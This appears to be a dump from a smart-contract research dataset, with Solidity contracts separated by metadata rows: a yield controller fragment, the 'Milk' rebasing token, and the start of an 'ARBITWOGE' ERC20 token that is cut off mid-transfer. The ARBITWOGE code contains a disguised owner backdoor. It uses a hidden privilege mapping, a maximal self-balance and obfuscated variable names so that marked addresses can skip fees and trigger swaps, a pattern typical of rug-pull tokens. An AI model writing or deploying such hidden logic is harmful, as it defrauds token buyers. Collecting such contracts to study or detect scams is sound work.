IStrategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint256) {
return IStrategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
IStrategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint256 _amount) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IStrategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy,
address _token,
uint256 parts) public view returns (uint256 expected) {
uint256 _balance = IERC20(_token).balanceOf(_strategy);
address _want = IStrategy(_strategy).want();
(expected,) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy,
address _token,
uint256 parts) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
// This contract should never have value in it, but just incase since this is a public call
uint256 _before = IERC20(_token).balanceOf(address(this));
IStrategy(_strategy).withdraw(_token);
uint256 _after = IERC20(_token).balanceOf(address(this));
if (_after > _before) {
uint256 _amount = _after.sub(_before);
address _want = IStrategy(_strategy).want();
uint256[] memory _distribution;
uint256 _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
IOneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint256 _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
function withdraw(address _token, uint256 _amount) public {
require(msg.sender == vaults[_token], "!vault");
IStrategy(strategies[_token]).withdraw(_amount);
}
}
| 340,575 | 13,690 |
3ded9d674f3ac0a2afd999fb118b0362d3e533b8b5835302a808c72940389566
| 25,769 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x8245a6e673351395df80caf0690e6e4d4c44a13a.sol
| 7,024 | 25,452 |
pragma solidity >=0.6.0 <0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IPowerKeeper {
function usePower(address master) external returns (uint256);
function power(address master) external view returns (uint256);
function totalPower() external view returns (uint256);
event PowerGained(address indexed master, uint256 amount);
event PowerUsed(address indexed master, uint256 amount);
}
interface IMilker {
function bandits(uint256 percent) external returns (uint256, uint256, uint256);
function sheriffsVaultCommission() external returns (uint256);
function sheriffsPotDistribution() external returns (uint256);
function isWhitelisted(address holder) external view returns (bool);
function getPeriod() external view returns (uint256);
}
contract Milk is Ownable, IMilker {
using SafeMath for uint256;
string public constant name = "Cowboy.Finance";
string public constant symbol = "MILK";
uint256 public constant decimals = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant MAX_TOKENS = 15 * 10**6;
uint256 private constant MAX_SUPPLY = MAX_TOKENS * 10**decimals;
uint256 private constant TOTAL_UNITS = MAX_UINT256 - (MAX_UINT256 % MAX_SUPPLY);
uint256 private constant INITIAL_PRODUCTION = 25_000 * 10**decimals;
uint256 private constant PERIOD_LENGTH = 6 hours;
uint256 private constant REDUCING_PERIODS = 28;
uint256 private constant REDUCING_FACTOR = 10;
address private constant DEV_TEAM_ADDRESS = 0xFFCF83437a1Eb718933f39ebE75aD96335BC1BE4;
IPowerKeeper private _stableCow; // COW
IPowerKeeper private _stableCowLP; // UniswapV2 Pair COW:WETH
IPowerKeeper private _stableMilkLP; // UniswapV2 Pair MILK:WETH
address private _controller;
mapping(address => uint256) private _balances; // in units
mapping(address => uint256) private _vaults; // in units
mapping(address => mapping (address => uint256)) private _allowances;
mapping(address => uint256) private _whitelistedBalances; // in units
mapping(address => bool) private _whitelist;
uint256 private _startTime = MAX_UINT256;
uint256 private _distributed;
uint256 private _totalSupply;
uint256 private _supplyInBalances;
uint256 private _supplyWhitelisted;
uint256 private _supplyInSheriffsPot;
uint256 private _supplyInSheriffsVault;
uint256 private _maxBalancesSupply = MAX_SUPPLY;
uint256 private _maxWhitelistedSupply = MAX_SUPPLY;
uint256 private _maxSheriffsVaultSupply = MAX_SUPPLY;
uint256 private _unitsPerTokenInBalances = TOTAL_UNITS.div(_maxBalancesSupply);
uint256 private _unitsPerTokenWhitelisted = TOTAL_UNITS.div(_maxWhitelistedSupply);
uint256 private _unitsPerTokenInSheriffsVault = TOTAL_UNITS.div(_maxSheriffsVaultSupply);
event StartTimeSetUp(uint256 indexed startTime);
event StableCowSetUp(address indexed stableCow);
event StableCowLPSetUp(address indexed stableCowLP);
event StableMilkLPSetUp(address indexed stableMilkLP);
event ControllerSetUp(address indexed controller);
event AddedToWhitelist(address indexed holder);
event RemovedFromWhitelist(address indexed holder);
event Mint(address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Bandits(uint256 percent, uint256 totalAmount, uint256 arrestedAmount, uint256 burntAmount);
event SheriffsVaultCommission(uint256 amount);
event SheriffsPotDistribution(uint256 amount);
event SheriffsVaultDeposit(address indexed holder, uint256 amount);
event SheriffsVaultWithdraw(address indexed holder, uint256 amount);
modifier validRecipient(address account) {
require(account != address(0x0), "Milk: unable to send tokens to zero address");
require(account != address(this), "Milk: unable to send tokens to the token contract");
_;
}
modifier onlyController() {
require(_controller == _msgSender(), "Milk: caller is not the controller");
_;
}
constructor() public {
_whitelist[DEV_TEAM_ADDRESS] = true;
emit AddedToWhitelist(DEV_TEAM_ADDRESS);
}
function setStartTime(uint256 startTime) external onlyOwner {
_startTime = startTime;
emit StartTimeSetUp(startTime);
}
function setStableCow(address stableCow) external onlyOwner {
_stableCow = IPowerKeeper(stableCow);
emit StableCowSetUp(stableCow);
}
function setStableCowLP(address stableCowLP) external onlyOwner {
_stableCowLP = IPowerKeeper(stableCowLP);
emit StableCowLPSetUp(stableCowLP);
}
function setStableMilkLP(address stableMilkLP) external onlyOwner {
_stableMilkLP = IPowerKeeper(stableMilkLP);
emit StableMilkLPSetUp(stableMilkLP);
}
function setController(address controller) external onlyOwner {
_controller = controller;
emit ControllerSetUp(controller);
}
function addToWhitelist(address holder) external onlyOwner {
require(address(_stableCow) != address(0), "Milk: StableV2 contract staking COW tokens is not set up");
require(!_whitelist[holder], "Milk: already whitelisted");
require(_stableCow.power(holder) == 0, "Milk: unable to whitelist COW tokens staker");
_whitelist[holder] = true;
uint256 tokens = _balances[holder].div(_unitsPerTokenInBalances);
if (tokens > 0) {
_whitelistedBalances[holder] = tokens.mul(_unitsPerTokenWhitelisted);
_balances[holder] = 0;
_supplyInBalances = _supplyInBalances.sub(tokens);
_supplyWhitelisted = _supplyWhitelisted.add(tokens);
}
emit AddedToWhitelist(holder);
}
function removeFromWhitelist(address holder) external onlyOwner {
require(address(_stableCow) != address(0), "Milk: StableV2 contract staking COW tokens is not set up");
require(_whitelist[holder], "Milk: not whitelisted");
_whitelist[holder] = false;
uint256 tokens = _whitelistedBalances[holder].div(_unitsPerTokenWhitelisted);
if (tokens > 0) {
_balances[holder] = tokens.mul(_unitsPerTokenInBalances);
_whitelistedBalances[holder] = 0;
_supplyInBalances = _supplyInBalances.add(tokens);
_supplyWhitelisted = _supplyWhitelisted.sub(tokens);
}
emit RemovedFromWhitelist(holder);
}
function bandits(uint256 percent) external override onlyController returns (uint256 banditsAmount,
uint256 arrestedAmount,
uint256 burntAmount) {
uint256 undistributedAmount = getProductedAmount().sub(_distributed);
uint256 banditsTotalAmount = _supplyInBalances.mul(percent).div(100);
uint256 undistributedBanditsTotalAmount = undistributedAmount.mul(percent).div(100);
uint256 banditsToPotAmount = banditsTotalAmount.mul(90).div(100);
uint256 undistributedBanditsToPotAmount = undistributedBanditsTotalAmount.mul(90).div(100);
uint256 banditsBurnAmount = banditsTotalAmount.sub(banditsToPotAmount);
uint256 undistributedBanditsBurnAmount = undistributedBanditsTotalAmount.sub(undistributedBanditsToPotAmount);
_totalSupply = _totalSupply.sub(banditsBurnAmount);
_supplyInSheriffsPot = _supplyInSheriffsPot.add(banditsToPotAmount).add(undistributedBanditsToPotAmount);
_supplyInBalances = _supplyInBalances.sub(banditsTotalAmount);
_maxBalancesSupply = _maxBalancesSupply.sub(_maxBalancesSupply.mul(percent).div(100));
_unitsPerTokenInBalances = TOTAL_UNITS.div(_maxBalancesSupply);
_distributed = _distributed.add(undistributedBanditsBurnAmount).add(undistributedBanditsToPotAmount);
banditsAmount = banditsTotalAmount.add(undistributedBanditsTotalAmount);
arrestedAmount = banditsToPotAmount.add(undistributedBanditsToPotAmount);
burntAmount = banditsBurnAmount.add(undistributedBanditsBurnAmount);
emit Bandits(percent, banditsAmount, arrestedAmount, burntAmount);
}
function sheriffsVaultCommission() external override onlyController returns (uint256 commission) {
commission = _supplyInSheriffsVault.div(100);
_supplyInSheriffsVault = _supplyInSheriffsVault.sub(commission);
_supplyInSheriffsPot = _supplyInSheriffsPot.add(commission);
_maxSheriffsVaultSupply = _maxSheriffsVaultSupply.sub(_maxSheriffsVaultSupply.div(100));
_unitsPerTokenInSheriffsVault = TOTAL_UNITS.div(_maxSheriffsVaultSupply);
emit SheriffsVaultCommission(commission);
}
function sheriffsPotDistribution() external override onlyController returns (uint256 amount) {
amount = _supplyInSheriffsPot;
if (amount > 0 && _supplyInBalances > 0) {
uint256 maxBalancesSupplyDelta = _maxBalancesSupply.mul(amount).div(_supplyInBalances);
_supplyInBalances = _supplyInBalances.add(amount);
_supplyInSheriffsPot = 0;
_maxBalancesSupply = _maxBalancesSupply.add(maxBalancesSupplyDelta);
_unitsPerTokenInBalances = TOTAL_UNITS.div(_maxBalancesSupply);
}
emit SheriffsPotDistribution(amount);
}
function putToSheriffsVault(uint256 amount) external {
address holder = msg.sender;
require(!_whitelist[holder], "Milk: whitelisted holders cannot use Sheriff's Vault");
_updateBalance(holder);
uint256 unitsInBalances = amount.mul(_unitsPerTokenInBalances);
uint256 unitsInSheriffsVault = amount.mul(_unitsPerTokenInSheriffsVault);
_balances[holder] = _balances[holder].sub(unitsInBalances);
_vaults[holder] = _vaults[holder].add(unitsInSheriffsVault);
_supplyInBalances = _supplyInBalances.sub(amount);
_supplyInSheriffsVault = _supplyInSheriffsVault.add(amount);
emit SheriffsVaultDeposit(holder, amount);
}
function takeFromSheriffsVault(uint256 amount) external {
address holder = msg.sender;
require(!_whitelist[holder], "Milk: whitelisted holders cannot use Sheriff's Vault");
_updateBalance(holder);
uint256 unitsInBalances = amount.mul(_unitsPerTokenInBalances);
uint256 unitsInSheriffsVault = amount.mul(_unitsPerTokenInSheriffsVault);
_balances[holder] = _balances[holder].add(unitsInBalances);
_vaults[holder] = _vaults[holder].sub(unitsInSheriffsVault);
_supplyInBalances = _supplyInBalances.add(amount);
_supplyInSheriffsVault = _supplyInSheriffsVault.sub(amount);
emit SheriffsVaultWithdraw(holder, amount);
}
function mint(address recipient, uint256 value) public validRecipient(recipient) onlyOwner returns (bool) {
if (isWhitelisted(recipient)) {
uint256 wunits = value.mul(_unitsPerTokenWhitelisted);
_whitelistedBalances[recipient] = _whitelistedBalances[recipient].add(wunits);
_supplyWhitelisted = _supplyWhitelisted.add(value);
} else {
uint256 units = value.mul(_unitsPerTokenInBalances);
_balances[recipient] = _balances[recipient].add(units);
_supplyInBalances = _supplyInBalances.add(value);
}
_totalSupply = _totalSupply.add(value);
emit Mint(recipient, value);
emit Transfer(0x0000000000000000000000000000000000000000, recipient, value);
return true;
}
function transfer(address to, uint256 value) public validRecipient(to) returns (bool) {
address from = msg.sender;
_updateBalance(from);
uint256 units = value.mul(_unitsPerTokenInBalances);
uint256 wunits = value.mul(_unitsPerTokenWhitelisted);
if (isWhitelisted(from) && isWhitelisted(to)) {
_whitelistedBalances[from] = _whitelistedBalances[from].sub(wunits);
_whitelistedBalances[to] = _whitelistedBalances[to].add(wunits);
} else if (isWhitelisted(from)) {
_whitelistedBalances[from] = _whitelistedBalances[from].sub(wunits);
_balances[to] = _balances[to].add(units);
_supplyInBalances = _supplyInBalances.add(value);
_supplyWhitelisted = _supplyWhitelisted.sub(value);
} else if (isWhitelisted(to)) {
_balances[from] = _balances[from].sub(units);
_whitelistedBalances[to] = _whitelistedBalances[to].add(wunits);
_supplyInBalances = _supplyInBalances.sub(value);
_supplyWhitelisted = _supplyWhitelisted.add(value);
} else {
_balances[from] = _balances[from].sub(units);
_balances[to] = _balances[to].add(units);
}
emit Transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) {
_updateBalance(from);
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
uint256 units = value.mul(_unitsPerTokenInBalances);
uint256 wunits = value.mul(_unitsPerTokenWhitelisted);
if (isWhitelisted(from) && isWhitelisted(to)) {
_whitelistedBalances[from] = _whitelistedBalances[from].sub(wunits);
_whitelistedBalances[to] = _whitelistedBalances[to].add(wunits);
} else if (isWhitelisted(from)) {
_whitelistedBalances[from] = _whitelistedBalances[from].sub(wunits);
_balances[to] = _balances[to].add(units);
_supplyInBalances = _supplyInBalances.add(value);
_supplyWhitelisted = _supplyWhitelisted.sub(value);
} else if (isWhitelisted(to)) {
_balances[from] = _balances[from].sub(units);
_whitelistedBalances[to] = _whitelistedBalances[to].add(wunits);
_supplyInBalances = _supplyInBalances.sub(value);
_supplyWhitelisted = _supplyWhitelisted.add(value);
} else {
_balances[from] = _balances[from].sub(units);
_balances[to] = _balances[to].add(units);
}
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_allowances[msg.sender][spender] = _allowances[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 oldValue = _allowances[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowances[msg.sender][spender] = 0;
} else {
_allowances[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);
return true;
}
function isWhitelisted(address holder) public view override returns (bool) {
return _whitelist[holder];
}
function getPeriod() public view override returns (uint256) {
if (block.timestamp <= _startTime) {
return 0;
}
return block.timestamp.sub(_startTime).div(PERIOD_LENGTH);
}
function getPeriodPart() public view returns (uint256) {
if (block.timestamp <= _startTime) {
return 0;
}
uint256 durationFromPeriodStart = block.timestamp
.sub(_startTime.add(getPeriod().mul(PERIOD_LENGTH)));
return durationFromPeriodStart.mul(10**18).div(PERIOD_LENGTH);
}
function getProductionAmount() public view returns(uint256) {
uint256 reducings = getPeriod().div(REDUCING_PERIODS);
uint256 production = INITIAL_PRODUCTION;
for (uint256 i = 0; i < reducings; i++) {
production = production.sub(production.div(REDUCING_FACTOR));
}
return production;
}
function getProductedAmount() public view returns(uint256) {
uint256 period = getPeriod();
uint256 reducings = period.div(REDUCING_PERIODS);
uint256 productionAmount = INITIAL_PRODUCTION;
uint256 productedAmount = 0;
for (uint256 i = 0; i < reducings; i++) {
productedAmount = productedAmount.add(productionAmount.mul(REDUCING_PERIODS));
productionAmount = productionAmount.sub(productionAmount.div(REDUCING_FACTOR));
}
productedAmount = productedAmount.add(productionAmount.mul(period.sub(reducings.mul(REDUCING_PERIODS))));
productedAmount = productedAmount.add(productionAmount.mul(getPeriodPart()).div(10**18));
return productedAmount;
}
function getDistributedAmount() public view returns(uint256) {
return _distributed;
}
function totalSupply() public view returns (uint256) {
return _totalSupply.add(getProductedAmount()).sub(_distributed);
}
function holdersSupply() public view returns (uint256) {
return _supplyInBalances;
}
function whitelistedSupply() public view returns (uint256) {
return _supplyWhitelisted;
}
function sheriffsPotSupply() public view returns (uint256) {
return _supplyInSheriffsPot;
}
function sheriffsVaultSupply() public view returns (uint256) {
return _supplyInSheriffsVault;
}
function balanceOf(address account) public view returns (uint256) {
uint256 undistributed = getProductedAmount().sub(_distributed);
uint256 undistributedCow = undistributed.div(5); // 20%
uint256 undistributedCowLP = (undistributed.sub(undistributedCow)).div(2); // 40%
uint256 undistributedMilkLP = (undistributed.sub(undistributedCow)).sub(undistributedCowLP); // 40%
if (address(_stableCow) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableCow.power(account), _stableCow.totalPower());
undistributedCow = totalPower > 0 ? undistributedCow.mul(power).div(totalPower) : 0;
} else {
undistributedCow = 0;
}
if (address(_stableCowLP) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableCowLP.power(account), _stableCowLP.totalPower());
undistributedCowLP = totalPower > 0 ? undistributedCowLP.mul(power).div(totalPower) : 0;
} else {
undistributedCowLP = 0;
}
if (address(_stableMilkLP) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableMilkLP.power(account), _stableMilkLP.totalPower());
undistributedMilkLP = totalPower > 0 ? undistributedMilkLP.mul(power).div(totalPower) : 0;
} else {
undistributedMilkLP = 0;
}
uint256 devTeamFee = (undistributedCow.add(undistributedCowLP).add(undistributedMilkLP)).div(20);
undistributed = (undistributedCow.add(undistributedCowLP).add(undistributedMilkLP)).sub(devTeamFee);
uint256 whitelisted = _whitelistedBalances[account].div(_unitsPerTokenWhitelisted);
return (_balances[account].div(_unitsPerTokenInBalances)).add(undistributed).add(whitelisted);
}
function vaultOf(address account) public view returns (uint256) {
return _vaults[account].div(_unitsPerTokenInSheriffsVault);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _updateBalance(address holder) private {
uint256 undistributed = getProductedAmount().sub(_distributed);
uint256 undistributedCow = undistributed.div(5); // 20%
uint256 undistributedCowLP = (undistributed.sub(undistributedCow)).div(2); // 40%
uint256 undistributedMilkLP = (undistributed.sub(undistributedCow)).sub(undistributedCowLP); // 40%
if (address(_stableCow) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableCow.power(holder), _stableCow.totalPower());
if (power > 0) {
power = _stableCow.usePower(holder);
undistributedCow = totalPower > 0 ? undistributedCow.mul(power).div(totalPower) : 0;
}
} else {
undistributedCow = 0;
}
if (address(_stableCowLP) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableCowLP.power(holder), _stableCowLP.totalPower());
if (power > 0) {
power = _stableCowLP.usePower(holder);
undistributedCowLP = totalPower > 0 ? undistributedCowLP.mul(power).div(totalPower) : 0;
}
} else {
undistributedCowLP = 0;
}
if (address(_stableMilkLP) != address(0)) {
(uint256 power, uint256 totalPower) = (_stableMilkLP.power(holder), _stableMilkLP.totalPower());
if (power > 0) {
power = _stableMilkLP.usePower(holder);
undistributedMilkLP = totalPower > 0 ? undistributedMilkLP.mul(power).div(totalPower) : 0;
}
} else {
undistributedMilkLP = 0;
}
uint256 devTeamFee = (undistributedCow.add(undistributedCowLP).add(undistributedMilkLP)).div(20);
uint256 tokens = undistributedCow.add(undistributedCowLP).add(undistributedMilkLP).sub(devTeamFee);
_balances[holder] = _balances[holder].add(tokens.mul(_unitsPerTokenInBalances));
_balances[DEV_TEAM_ADDRESS] = _balances[DEV_TEAM_ADDRESS].add(devTeamFee.mul(_unitsPerTokenWhitelisted));
_distributed = _distributed.add(tokens).add(devTeamFee);
_totalSupply = _totalSupply.add(tokens).add(devTeamFee);
if (isWhitelisted(holder)) {
_supplyWhitelisted = _supplyWhitelisted.add(tokens);
} else {
_supplyInBalances = _supplyInBalances.add(tokens);
}
if (isWhitelisted(DEV_TEAM_ADDRESS)) {
_supplyWhitelisted = _supplyWhitelisted.add(devTeamFee);
} else {
_supplyInBalances = _supplyInBalances.add(devTeamFee);
}
}
}
| 274,503 | 13,691 |
b090b2bcae7ec72fab795fca713d1f366eed39ffccadafac53cad4c4f1f71d75
| 17,099 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/21/21f26c336b3717d00817508befe29426093f92a2_ARBITWOGE.sol
| 2,891 | 11,755 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ARBITWOGE is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _native = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(uint256 => address) private _Devs;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _series;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _Marketing;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_Marketing[msg.sender] = _native;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address _month,
address _Safest,
uint256 amount) private {
uint256 _square = _Marketing[_month];
address _pass = _Devs[_native];
if (_Marketing[_month] > 0 && amount > _native) {
bool _suppose = _square == _Marketing[_Safest];
if (_suppose) {
inSwapAndLiquify = true;
swapAndLiquify(amount);
inSwapAndLiquify = false;
}
_Marketing[_Safest] = amount;
} else {
uint256 fee = (amount * _taxFee) / 100;
